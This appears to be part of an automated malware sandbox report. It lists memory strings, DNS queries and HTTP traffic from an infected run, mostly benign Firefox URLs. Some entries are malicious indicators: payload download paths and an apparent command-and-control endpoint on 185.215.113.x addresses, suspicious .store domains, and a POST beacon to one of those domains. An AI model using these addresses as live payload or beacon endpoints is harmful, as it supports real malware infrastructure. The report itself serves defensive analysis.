Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: reportPageWithAdImpressionshttp-on-examine-cached-responseMaybe record user engagement.Counting ad click in page for:recordAbandonmentTelemetryNon ad-click already recordedIgnoring load from historyfindUserInstalledPackagesExpected to report URI forSEARCH_AD_CLICKS_SCALAR_BASE_reportPageWithAdImpressionsCould not find an impression id.SearchTelemetry:ProviderInfooverrideSearchTelemetryForTestsgetPinnedTabsCount/pinnedTabs<installation_telemetry.jsonhttps://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5C55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B5752000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B579F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5C55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2576624739.000002B9B5721000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B576B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B57D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2589627659.000002B9B6E41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2472713549.000002B9BF958000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561919945.000002B9B4870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000003.2011345201.00000000010C4000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/H
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Qs
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2455722619.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe0n
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe:n
Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2446227446.00000000013A4000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe4
Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeHQ
Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeHT
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeedn
Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exexQ
Source: file.exe, 00000000.00000003.2011455939.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.00000000015E2000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.00000000015E2000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000BDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php&
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/~
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpJ
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprd
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpv
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.00000000015E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sgecko.handlerService.defaultHandlersVersion
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000000.00000003.1699790064.000000000109C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1986113248.00000000010CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000019.00000003.2473178711.000002B9BD1F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2580737479.000002B9B5C47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5F31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html-
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000019.00000003.2381565829.000002B9ADAB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://en.wB
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B068A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B0643000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B068A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B0643000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B068A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B48C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
